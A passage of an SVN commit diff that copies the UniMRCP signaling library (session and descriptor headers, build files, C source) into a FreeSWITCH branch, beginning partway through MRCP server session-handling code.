+	if(termination_slot) {
+		/* rtp termination */
+		mpf_rtp_termination_descriptor_t *rtp_descriptor;
+		if(termination_slot->waiting == FALSE) {
+			return FALSE;
+		}
+		termination_slot->waiting = FALSE;
+		rtp_descriptor = mpf_message->descriptor;
+		if(rtp_descriptor->audio.local) {
+			session->answer->ip = rtp_descriptor->audio.local->base.ip;
+			session->answer->ext_ip = rtp_descriptor->audio.local->base.ext_ip;
+			mrcp_session_audio_media_set(session->answer,termination_slot->id,rtp_descriptor->audio.local);
+		}
+		if(session->answer_flag_count) {
+			session->answer_flag_count--;
+			if(!session->answer_flag_count) {
+				/* send answer to client */
+				mrcp_server_session_answer_send(session);
+			}
+		}
+	}
+	else {
+		/* engine channel termination */
+		mrcp_channel_t *channel = mrcp_server_channel_termination_find(session,mpf_message->termination);
+		if(channel && channel->waiting_for_termination == TRUE) {
+			channel->waiting_for_termination = FALSE;
+			if(session->answer_flag_count) {
+				session->answer_flag_count--;
+				if(!session->answer_flag_count) {
+					/* send answer to client */
+					mrcp_server_session_answer_send(session);
+				}
+			}
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_on_termination_subtract(mrcp_server_session_t *session, const mpf_message_t *mpf_message)
+{
+	mrcp_termination_slot_t *termination_slot;
+	if(!session) {
+		return FALSE;
+	}
+	termination_slot = mrcp_server_rtp_termination_find(session,mpf_message->termination);
+	if(termination_slot) {
+		/* rtp termination */
+		if(termination_slot->waiting == FALSE) {
+			return FALSE;
+		}
+		termination_slot->waiting = FALSE;
+		if(session->terminate_flag_count) {
+			session->terminate_flag_count--;
+			if(!session->terminate_flag_count) {
+				mrcp_server_session_terminate_send(session);
+			}
+		}
+	}
+	else {
+		/* engine channel termination */
+		mrcp_channel_t *channel = mrcp_server_channel_termination_find(session,mpf_message->termination);
+		if(channel && channel->waiting_for_termination == TRUE) {
+			channel->waiting_for_termination = FALSE;
+			if(session->terminate_flag_count) {
+				session->terminate_flag_count--;
+				if(!session->terminate_flag_count) {
+					mrcp_server_session_terminate_send(session);
+				}
+			}
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t state_machine_on_message_dispatch(mrcp_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_channel_t *channel = state_machine->obj;
+
+	if(message->start_line.message_type == MRCP_MESSAGE_TYPE_REQUEST) {
+		/* send request message to resource engine for actual processing */
+		if(channel->engine_channel) {
+			mrcp_engine_channel_request_process(channel->engine_channel,message);
+		}
+	}
+	else if(message->start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
+		mrcp_server_session_t *session = (mrcp_server_session_t*)channel->session;
+		/* send response message to client */
+		if(channel->control_channel) {
+			/* MRCPv2 */
+			mrcp_server_control_message_send(channel->control_channel,message);
+		}
+		else {
+			/* MRCPv1 */
+			mrcp_session_control_response(channel->session,message);
+		}
+
+		session->active_request = apt_list_pop_front(session->request_queue);
+		if(session->active_request) {
+			mrcp_server_signaling_message_dispatch(session,session->active_request);
+		}
+	}
+	else { 
+		/* send event message to client */
+		if(channel->control_channel) {
+			/* MRCPv2 */
+			mrcp_server_control_message_send(channel->control_channel,message);
+		}
+		else {
+			/* MRCPv1 */
+			mrcp_session_control_response(channel->session,message);
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t state_machine_on_deactivate(mrcp_state_machine_t *state_machine)
+{
+	mrcp_channel_t *channel = state_machine->obj;
+	mrcp_server_session_t *session = (mrcp_server_session_t*)channel->session;
+	if(session->deactivate_flag_count) {
+		session->deactivate_flag_count --;
+		if(!session->deactivate_flag_count) {
+			mrcp_server_session_terminate_process(session);
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_mpf_request_send(
+						mrcp_server_session_t *session, 
+						mpf_command_type_e command_id, 
+						mpf_context_t *context, 
+						mpf_termination_t *termination, 
+						void *descriptor)
+{
+	apt_task_t *media_task = mpf_task_get(session->profile->media_engine);
+	apt_task_msg_t *msg;
+	mpf_message_t *mpf_message;
+	msg = apt_task_msg_get(media_task);
+	msg->type = TASK_MSG_USER;
+	mpf_message = (mpf_message_t*) msg->data;
+
+	mpf_message->message_type = MPF_MESSAGE_TYPE_REQUEST;
+	mpf_message->command_id = command_id;
+	mpf_message->context = context;
+	mpf_message->termination = termination;
+	mpf_message->descriptor = descriptor;
+	return apt_task_msg_signal(media_task,msg);
+}

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-signaling)

Property changes: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling


Name: svn:ignore
   + Makefile.in
Makefile
Debug
*.user
Release
.deps

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-signaling/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+MAINTAINERCLEANFILES 	    = Makefile.in
+
+INCLUDES                    = -I$(top_srcdir)/libs/mrcp-signaling/include \
+                              -I$(top_srcdir)/libs/mrcp/include \
+                              -I$(top_srcdir)/libs/mpf/include \
+                              -I$(top_srcdir)/libs/apr-toolkit/include \
+                              $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_LTLIBRARIES          = libmrcpsignaling.la
+
+include_HEADERS             = include/mrcp_sig_types.h \
+                              include/mrcp_sig_agent.h \
+                              include/mrcp_session.h \
+                              include/mrcp_session_descriptor.h
+
+libmrcpsignaling_la_SOURCES = src/mrcp_sig_agent.c \
+                              src/mrcp_session_descriptor.c
\ No newline at end of file

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-signaling/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_session.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_session.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-signaling/include/mrcp_session.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_session.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_session.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,189 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SESSION_H__
+#define __MRCP_SESSION_H__
+
+/**
+ * @file mrcp_session.h
+ * @brief Abstract MRCP Session
+ */ 
+
+#include "mrcp_sig_types.h"
+#include "apt_string.h"
+
+APT_BEGIN_EXTERN_C
+
+#define MRCP_SESSION_PTR(session) (session)
+#define MRCP_SESSION_SID(session) \
+	(session)->id.buf ? (session)->id.buf : "new"
+
+#define MRCP_SESSION_PTRSID(session) \
+	MRCP_SESSION_PTR(session), MRCP_SESSION_SID(session)
+
+/** MRCP session request vtable declaration */
+typedef struct mrcp_session_request_vtable_t mrcp_session_request_vtable_t;
+/** MRCP session response vtable declaration */
+typedef struct mrcp_session_response_vtable_t mrcp_session_response_vtable_t;
+/** MRCP session event vtable declaration */
+typedef struct mrcp_session_event_vtable_t mrcp_session_event_vtable_t;
+
+
+/** MRCP session */
+struct mrcp_session_t {
+	/** Memory pool to allocate memory from */
+	apr_pool_t       *pool;
+	/** External object associated with session */
+	void             *obj;
+	/** Back pointer to signaling agent */
+	mrcp_sig_agent_t *signaling_agent;
+
+	/** Session identifier */
+	apt_str_t         id;
+	/** Last request identifier sent for client, received for server */
+	mrcp_request_id   last_request_id;
+
+	/** Virtual request methods */
+	const mrcp_session_request_vtable_t  *request_vtable;
+	/** Virtual response methods */
+	const mrcp_session_response_vtable_t *response_vtable;
+	/** Virtual event methods */
+	const mrcp_session_event_vtable_t    *event_vtable;
+};
+
+
+/** MRCP session request vtable */
+struct mrcp_session_request_vtable_t {
+	/** Offer session descriptor */
+	apt_bool_t (*offer)(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+	/** Terminate session */
+	apt_bool_t (*terminate)(mrcp_session_t *session);
+	/** Control session (MRCPv1 only) */
+	apt_bool_t (*control)(mrcp_session_t *session, mrcp_message_t *message);
+	/** Discover resources */
+	apt_bool_t (*discover)(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+};
+
+/** MRCP session response vtable */
+struct mrcp_session_response_vtable_t {
+	/** Answer with remote session descriptor */
+	apt_bool_t (*on_answer)(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+	/** Session terminated */
+	apt_bool_t (*on_terminate)(mrcp_session_t *session);
+	/** Control session (MRCPv1 only) */
+	apt_bool_t (*on_control)(mrcp_session_t *session, mrcp_message_t *message);
+	/** Response to resource discovery request */
+	apt_bool_t (*on_discover)(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+};
+
+/** MRCP session event vtable */
+struct mrcp_session_event_vtable_t {
+	/** Received session termination event without appropriate request */
+	apt_bool_t (*on_terminate)(mrcp_session_t *session);
+};
+
+
+/** Create new memory pool and allocate session object from the pool. */
+MRCP_DECLARE(mrcp_session_t*) mrcp_session_create(apr_size_t padding);
+
+/** Destroy session and assosiated memory pool. */
+MRCP_DECLARE(void) mrcp_session_destroy(mrcp_session_t *session);
+
+
+/** Offer */
+static APR_INLINE apt_bool_t mrcp_session_offer(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	if(session->request_vtable->offer) {
+		return session->request_vtable->offer(session,descriptor);
+	}
+	return FALSE;
+}
+
+/** Terminate */
+static APR_INLINE apt_bool_t mrcp_session_terminate_request(mrcp_session_t *session)
+{
+	if(session->request_vtable->terminate) {
+		return session->request_vtable->terminate(session);
+	}
+	return FALSE;
+}
+
+/** Answer */
+static APR_INLINE apt_bool_t mrcp_session_answer(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	if(session->response_vtable->on_answer) {
+		return session->response_vtable->on_answer(session,descriptor);
+	}
+	return FALSE;
+}
+
+/** On terminate response */
+static APR_INLINE apt_bool_t mrcp_session_terminate_response(mrcp_session_t *session)
+{
+	if(session->response_vtable->on_terminate) {
+		return session->response_vtable->on_terminate(session);
+	}
+	return FALSE;
+}
+
+/** On terminate event */
+static APR_INLINE apt_bool_t mrcp_session_terminate_event(mrcp_session_t *session)
+{
+	if(session->event_vtable->on_terminate) {
+		return session->event_vtable->on_terminate(session);
+	}
+	return FALSE;
+}
+
+/** Control request */
+static APR_INLINE apt_bool_t mrcp_session_control_request(mrcp_session_t *session, mrcp_message_t *message)
+{
+	if(session->request_vtable->control) {
+		return session->request_vtable->control(session,message);
+	}
+	return FALSE;
+}
+
+/** On control response/event */
+static APR_INLINE apt_bool_t mrcp_session_control_response(mrcp_session_t *session, mrcp_message_t *message)
+{
+	if(session->response_vtable->on_control) {
+		return session->response_vtable->on_control(session,message);
+	}
+	return FALSE;
+}
+
+/** Resource discovery request */
+static APR_INLINE apt_bool_t mrcp_session_discover_request(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	if(session->request_vtable->discover) {
+		return session->request_vtable->discover(session,descriptor);
+	}
+	return FALSE;
+}
+
+/** On resource discovery response */
+static APR_INLINE apt_bool_t mrcp_session_discover_response(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	if(session->response_vtable->on_discover) {
+		return session->response_vtable->on_discover(session,descriptor);
+	}
+	return FALSE;
+}
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SESSION_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_session_descriptor.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_session_descriptor.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-signaling/include/mrcp_session_descriptor.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_session_descriptor.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_session_descriptor.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,149 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SESSION_DESCRIPTOR_H__
+#define __MRCP_SESSION_DESCRIPTOR_H__
+
+/**
+ * @file mrcp_session_descriptor.h
+ * @brief MRCP Session Descriptor
+ */ 
+
+#include "mpf_rtp_descriptor.h"
+#include "mrcp_sig_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** MRCP session status */
+typedef enum {
+	MRCP_SESSION_STATUS_OK,			          /**< OK */
+	MRCP_SESSION_STATUS_NO_SUCH_RESOURCE,     /**< no such resource found */
+	MRCP_SESSION_STATUS_UNACCEPTABLE_RESOURCE,/**< resource exists, but no implementation (plugin) found */
+	MRCP_SESSION_STATUS_UNAVAILABLE_RESOURCE, /**< resource exists, but is temporary unavailable */
+	MRCP_SESSION_STATUS_ERROR                 /**< internal error occuried */
+} mrcp_session_status_e;
+
+/** MRCP session descriptor */
+struct mrcp_session_descriptor_t {
+	/** SDP origin */
+	apt_str_t             origin;
+	/** Session level IP address */
+	apt_str_t             ip;
+	/** Session level external (NAT) IP address */
+	apt_str_t             ext_ip;
+	/** Session level resource name (MRCPv1 only) */
+	apt_str_t             resource_name;
+	/** Resource state (MRCPv1 only) */
+	apt_bool_t            resource_state;
+	/** Session status */
+	mrcp_session_status_e status;
+
+	/** MRCP control media array (mrcp_control_descriptor_t) */
+	apr_array_header_t   *control_media_arr;
+	/** Audio media array (mpf_rtp_media_descriptor_t) */
+	apr_array_header_t   *audio_media_arr;
+	/** Video media array (mpf_rtp_media_descriptor_t) */
+	apr_array_header_t   *video_media_arr;
+};
+
+/** Create session descriptor  */
+MRCP_DECLARE(mrcp_session_descriptor_t*) mrcp_session_descriptor_create(apr_pool_t *pool);
+
+static APR_INLINE apr_size_t mrcp_session_media_count_get(const mrcp_session_descriptor_t *descriptor)
+{
+	return descriptor->control_media_arr->nelts + descriptor->audio_media_arr->nelts + descriptor->video_media_arr->nelts;
+}
+
+static APR_INLINE apr_size_t mrcp_session_control_media_add(mrcp_session_descriptor_t *descriptor, void *media)
+{
+	void **slot = apr_array_push(descriptor->control_media_arr);
+	*slot = media;
+	return mrcp_session_media_count_get(descriptor) - 1;
+}
+
+static APR_INLINE void* mrcp_session_control_media_get(const mrcp_session_descriptor_t *descriptor, apr_size_t id)
+{
+	if((int)id >= descriptor->control_media_arr->nelts) {
+		return NULL;
+	}
+	return ((void**)descriptor->control_media_arr->elts)[id];
+}
+
+static APR_INLINE apt_bool_t mrcp_session_control_media_set(mrcp_session_descriptor_t *descriptor, apr_size_t id, void *media)
+{
+	if((int)id >= descriptor->control_media_arr->nelts) {
+		return FALSE;
+	}
+	((void**)descriptor->control_media_arr->elts)[id] = media;
+	return TRUE;
+}
+
+
+static APR_INLINE apr_size_t mrcp_session_audio_media_add(mrcp_session_descriptor_t *descriptor, mpf_rtp_media_descriptor_t *media)
+{
+	mpf_rtp_media_descriptor_t **slot = apr_array_push(descriptor->audio_media_arr);
+	*slot = media;
+	return mrcp_session_media_count_get(descriptor) - 1;
+}
+
+static APR_INLINE mpf_rtp_media_descriptor_t* mrcp_session_audio_media_get(const mrcp_session_descriptor_t *descriptor, apr_size_t id)
+{
+	if((int)id >= descriptor->audio_media_arr->nelts) {
+		return NULL;
+	}
+	return ((mpf_rtp_media_descriptor_t**)descriptor->audio_media_arr->elts)[id];
+}
+
+static APR_INLINE apt_bool_t mrcp_session_audio_media_set(const mrcp_session_descriptor_t *descriptor, apr_size_t id, mpf_rtp_media_descriptor_t* media)
+{
+	if((int)id >= descriptor->audio_media_arr->nelts) {
+		return FALSE;
+	}
+	((mpf_rtp_media_descriptor_t**)descriptor->audio_media_arr->elts)[id] = media;
+	return TRUE;
+}
+
+
+static APR_INLINE apr_size_t mrcp_session_video_media_add(mrcp_session_descriptor_t *descriptor, mpf_rtp_media_descriptor_t *media)
+{
+	mpf_rtp_media_descriptor_t **slot = apr_array_push(descriptor->video_media_arr);
+	*slot = media;
+	return mrcp_session_media_count_get(descriptor) - 1;
+}
+
+static APR_INLINE mpf_rtp_media_descriptor_t* mrcp_session_video_media_get(const mrcp_session_descriptor_t *descriptor, apr_size_t id)
+{
+	if((int)id >= descriptor->video_media_arr->nelts) {
+		return NULL;
+	}
+	return ((mpf_rtp_media_descriptor_t**)descriptor->video_media_arr->elts)[id];
+}
+
+static APR_INLINE apt_bool_t mrcp_session_video_media_set(mrcp_session_descriptor_t *descriptor, apr_size_t id, mpf_rtp_media_descriptor_t* media)
+{
+	if((int)id >= descriptor->video_media_arr->nelts) {
+		return FALSE;
+	}
+	((mpf_rtp_media_descriptor_t**)descriptor->video_media_arr->elts)[id] = media;
+	return TRUE;
+}
+
+/** Get session status phrase  */
+MRCP_DECLARE(const char*) mrcp_session_status_phrase_get(mrcp_session_status_e status);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SESSION_DESCRIPTOR_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_sig_agent.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_sig_agent.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-signaling/include/mrcp_sig_agent.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_sig_agent.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_sig_agent.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SIG_AGENT_H__
+#define __MRCP_SIG_AGENT_H__
+
+/**
+ * @file mrcp_sig_agent.h
+ * @brief Abstract MRCP Signaling Agent
+ */ 
+
+#include "mrcp_sig_types.h"
+#include "apt_task.h"
+
+APT_BEGIN_EXTERN_C
+
+
+/** MRCP signaling agent  */
+struct mrcp_sig_agent_t {
+	/** Memory pool to allocate memory from */
+	apr_pool_t          *pool;
+	/** External object associated with agent */
+	void                *obj;
+	/** Parent object (client/server) */
+	void                *parent;
+	/** MRCP version */
+	mrcp_version_e       mrcp_version;
+	/** MRCP resource factory */
+	mrcp_resource_factory_t *resource_factory;
+	/** Task interface */
+	apt_task_t          *task;
+	/** Task message pool used to allocate signaling agent messages */
+	apt_task_msg_pool_t *msg_pool;
+
+	/** Virtual create_server_session */
+	mrcp_session_t* (*create_server_session)(mrcp_sig_agent_t *signaling_agent);
+	/** Virtual create_client_session */
+	apt_bool_t (*create_client_session)(mrcp_session_t *session);
+};
+
+/** Create signaling agent. */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_signaling_agent_create(void *obj, mrcp_version_e mrcp_version, apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SIG_AGENT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_sig_types.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_sig_types.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-signaling/include/mrcp_sig_types.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_sig_types.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/include/mrcp_sig_types.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,40 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SIG_TYPES_H__
+#define __MRCP_SIG_TYPES_H__
+
+/**
+ * @file mrcp_sig_types.h
+ * @brief MRCP Signaling Types Declaration
+ */ 
+
+#include "mrcp_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque MRCP signaling agent declaration */
+typedef struct mrcp_sig_agent_t mrcp_sig_agent_t;
+
+/** Opaque MRCP session declaration */
+typedef struct mrcp_session_t mrcp_session_t;
+
+/** Opaque MRCP session descriptor declaration */
+typedef struct mrcp_session_descriptor_t mrcp_session_descriptor_t;
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SIG_TYPES_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/mrcpsignaling.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/mrcpsignaling.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-signaling/mrcpsignaling.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/mrcpsignaling.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/mrcpsignaling.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,165 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpsignaling"
+	ProjectGUID="{12A49562-BAB9-43A3-A21D-15B60BBB4C31}"
+	RootNamespace="mrcpsignaling"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpsignaling.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpsignaling.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\mrcp_session.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_session_descriptor.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_sig_agent.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_sig_types.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\mrcp_session_descriptor.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mrcp_sig_agent.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/src (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-signaling/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/src/mrcp_session_descriptor.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/src/mrcp_session_descriptor.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-signaling/src/mrcp_session_descriptor.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/src/mrcp_session_descriptor.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/src/mrcp_session_descriptor.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,49 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_session_descriptor.h"
+
+MRCP_DECLARE(mrcp_session_descriptor_t*) mrcp_session_descriptor_create(apr_pool_t *pool)
+{
+	mrcp_session_descriptor_t *descriptor = apr_palloc(pool,sizeof(mrcp_session_descriptor_t));
+	apt_string_reset(&descriptor->origin);
+	apt_string_reset(&descriptor->ip);
+	apt_string_reset(&descriptor->ext_ip);
+	apt_string_reset(&descriptor->resource_name);
+	descriptor->resource_state = FALSE;
+	descriptor->status = MRCP_SESSION_STATUS_OK;
+	descriptor->control_media_arr = apr_array_make(pool,1,sizeof(void*));
+	descriptor->audio_media_arr = apr_array_make(pool,1,sizeof(mpf_rtp_media_descriptor_t*));
+	descriptor->video_media_arr = apr_array_make(pool,0,sizeof(mpf_rtp_media_descriptor_t*));
+	return descriptor;
+}
+
+MRCP_DECLARE(const char*) mrcp_session_status_phrase_get(mrcp_session_status_e status)
+{
+	switch(status) {
+		case MRCP_SESSION_STATUS_OK:
+			return "OK";
+		case MRCP_SESSION_STATUS_NO_SUCH_RESOURCE:
+			return "Not Found";
+		case MRCP_SESSION_STATUS_UNACCEPTABLE_RESOURCE:
+			return "Not Acceptable";
+		case MRCP_SESSION_STATUS_UNAVAILABLE_RESOURCE:
+			return "Unavailable";
+		case MRCP_SESSION_STATUS_ERROR:
+			return "Error";
+	}
+	return "Unknown";
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/src/mrcp_sig_agent.c

